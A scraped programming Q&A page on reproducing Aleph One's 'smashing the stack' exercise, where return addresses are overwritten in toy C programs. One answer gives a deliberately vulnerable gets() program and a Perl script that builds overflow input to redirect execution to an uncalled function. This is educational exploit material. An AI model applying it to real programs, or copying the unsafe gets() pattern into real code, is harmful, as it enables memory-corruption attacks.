Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Trying to smash the stack

I am trying to reproduce the stackoverflow results that I read from Aleph One's article "smashing the stack for fun and profit"(can be found here:http://insecure.org/stf/smashstack.html).

Trying to overwrite the return address doesn't seem to work for me.

C code:

            void function(int a, int b, int c) {
               char buffer1[5];
               char buffer2[10];
               int *ret;
               //Trying to overwrite return address
               ret = buffer1 + 12;
               (*ret) = 0x4005da;
            }

            void main() {
              int x;

              x = 0;
              function(1,2,3);
              x = 1;
              printf("%d\n",x);
            }

disassembled main:

            (gdb) disassemble main
            Dump of assembler code for function main:
               0x00000000004005b0 <+0>:     push   %rbp
               0x00000000004005b1 <+1>:     mov    %rsp,%rbp
               0x00000000004005b4 <+4>:     sub    $0x10,%rsp
               0x00000000004005b8 <+8>:     movl   $0x0,-0x4(%rbp)
               0x00000000004005bf <+15>:    mov    $0x3,%edx
               0x00000000004005c4 <+20>:    mov    $0x2,%esi
               0x00000000004005c9 <+25>:    mov    $0x1,%edi
               0x00000000004005ce <+30>:    callq  0x400564 <function>
               0x00000000004005d3 <+35>:    movl   $0x1,-0x4(%rbp)
               0x00000000004005da <+42>:    mov    -0x4(%rbp),%eax
               0x00000000004005dd <+45>:    mov    %eax,%esi
               0x00000000004005df <+47>:    mov    $0x4006dc,%edi
               0x00000000004005e4 <+52>:    mov    $0x0,%eax
               0x00000000004005e9 <+57>:    callq  0x400450 <printf@plt>
               0x00000000004005ee <+62>:    leaveq
               0x00000000004005ef <+63>:    retq
            End of assembler dump.

I have hard coded the return address to skip the x=1; code line, I have used a hard coded value from the disassembler(address : 0x4005da). The intent of this exploit is to print 0, but instead it is printing 1.

I have a very strong feeling that "ret = buffer1 + 12;" is not the address of the return address. If this is the case, how can I determine the return address, is gcc allocating more memory between the return address and the buffer.

like image 559
Mike G Avatar asked May 27 '13 01:05

Mike G


People also ask

What is smash the stack?

(programming, informal) To corrupt the call stack, causing execution to jump to a random address, sometimes used as a malicious attack on a system.

What does stack smashing detected means?

Stack smashing is a form of vulnerability where the stack of a computer application or OS is forced to overflow. This may lead to subverting the program/system and crashing it. A stack, a first-in last-out circuit, is a form of buffer holding intermediate results of operations within it.

What is smashing the stack for fun and profit?

"Smashing The Stack For Fun And Profit" is a notorious tutorial covering the basics of exploiting buffer overflow vulnerabilities. It first appeared in edition 49 of PhrackMagazine and was written by AlephOne.

What can cause stack smashing?

The two most prominent issues which can cause stack smashing are; 1) to write/over-allocate too much data in a given part of the stack, thereby overwriting another part of the stack, and 2) where some external source (malicious or not) overwrote another program's stack, though this is much less common.


2 Answers

Here's a guide I wrote for a friend a while back on performing a buffer overflow attack using gets. It goes over how to get the return address and how to use it to write over the old one:

Our knowledge of the stack tells us that the return address appears on the stack after the buffer you're trying to overflow. However, how far after the buffer the return address appears depends on the architecture you're using. In order to determine this, first write a simple program and inspect the assembly:

C code:

void function() 
{
    char buffer[4];
}

int main() 
{
    function();
}

Assembly (abridged):

function:
    pushl %ebp
    movl %esp, %ebp
    subl $16, %esp
    leave
    ret
main:
    leal 4(%esp), %ecx
    andl $-16, %esp
    pushl -4(%ecx)
    pushl %ebp
    movl %esp, %ebp
    pushl %ecx
    call function
    ...

There are several tools that you can use to inspect the assembly code. First, of course, is compiling straight to assembly output from gcc using gcc -S main.c. This can be difficult to read since there are little to no hints for what code corresponds to the original C code. Additionally, there is a lot of boilerplate code that can be difficult to sift through. Another tool to consider is gdbtui. The benefit of using gdbtui is that you can inspect the assembly source while running the program and manually inspect the stack throughout the execution of the program. However, it has a steep learning curve.

The assembly inspection program that I like best is objdump. Running objdump -dS a.out gives the assembly source with the context from the original C source code. Using objdump, on my computer the offset of the return address from the character buffer is 8 bytes.

This function function takes the return address and increments 7 to it. The instruction that the return address originally pointed to is 7 bytes in length, so adding 7 makes the return address point to the instruction immediately after the assignment.

In the example below, I overwrite the return address to skip the instruction x = 1.

simple C program:

void function() 
{
    char buffer[4];
    /* return address is 8 bytes beyond the start of the buffer */
    int *ret = buffer + 8;
    /* assignment instruction we want to skip is 7 bytes long */
    (*ret) += 7;
}

int main() 
{
    int x = 0;
    function();
    x = 1;
    printf("%d\n",x);
}

Main function (x = 1 at 80483af is seven bytes long):

8048392: 8d4c2404       lea 0x4(%esp),%ecx
8048396: 83e4f0         and $0xfffffff0,%esp
8048399: ff71fc         pushl -0x4(%ecx)
804839c: 55             push %ebp
804839d: 89e5           mov %esp,%ebp
804839f: 51             push %ecx
80483a0: 83ec24         sub $0x24,%esp
80483a3: c745f800000000 movl $0x0,-0x8(%ebp)
80483aa: e8c5ffffff     call 8048374 <function>
80483af: c745f801000000 movl $0x1,-0x8(%ebp)
80483b6: 8b45f8         mov -0x8(%ebp),%eax
80483b9: 89442404       mov %eax,0x4(%esp)
80483bd: c70424a0840408 movl $0x80484a0,(%esp)
80483c4: e80fffffff     call 80482d8 <printf@plt>
80483c9: 83c424         add $0x24,%esp
80483cc: 59             pop %ecx
80483cd: 5d             pop %ebp

We know where the return address is and we have demonstrated that changing it can affect the code that is run. A buffer overflow can do the same thing by using gets and inputing the right character string so that the return address is overwritten with a new address.

In a new example below we have a function function which has a buffer filled using gets. We also have a function uncalled which never gets called. With the correct input, we can run uncalled.

#include <stdio.h>
#include <stdlib.h>

void uncalled() 
{
    puts("uh oh!");
    exit(1);
}

void function() 
{
    char buffer[4];
    gets(buffer);
}

int main() 
{
    function();
    puts("program secure");
}

To run uncalled, inspect the executable using objdump or similar to find the address of the entry point of uncalled. Then append the address to the input buffer in the right place so that it overwrites the old return address. If your computer is little-endian (x86, etc.) , you need to swap the endianness of the address.

In order to do this correctly, I have a simple perl script below, which generates the input that will cause the buffer overflow that will overwrite the return address. It takes two arguments, first it takes the new return address, and second it takes the distance (in bytes) from the beginning of the buffer to the return address location.

#!/usr/bin/perl
print "x"x@ARGV[1];                                            # fill the buffer
print scalar reverse pack "H*", substr("0"x8 . @ARGV[0] , -8); # swap endian of input
print "\n";                                                    # new line to end gets
like image 179
user149100 Avatar answered Sep 21 '22 01:09

user149100


You need to examine the stack to determine if buffer1+12 is actually the right address to be modifying. This sort of stuff isn't exactly very portable.

I'd probably also place some eye catchers in the code so you can see where the buffers are on the stack in relation to the return address:

char buffer1[5] = "1111";
char buffer2[10] = "2222";
like image 21
paxdiablo Avatar answered Sep 20 '22 01:09

paxdiablo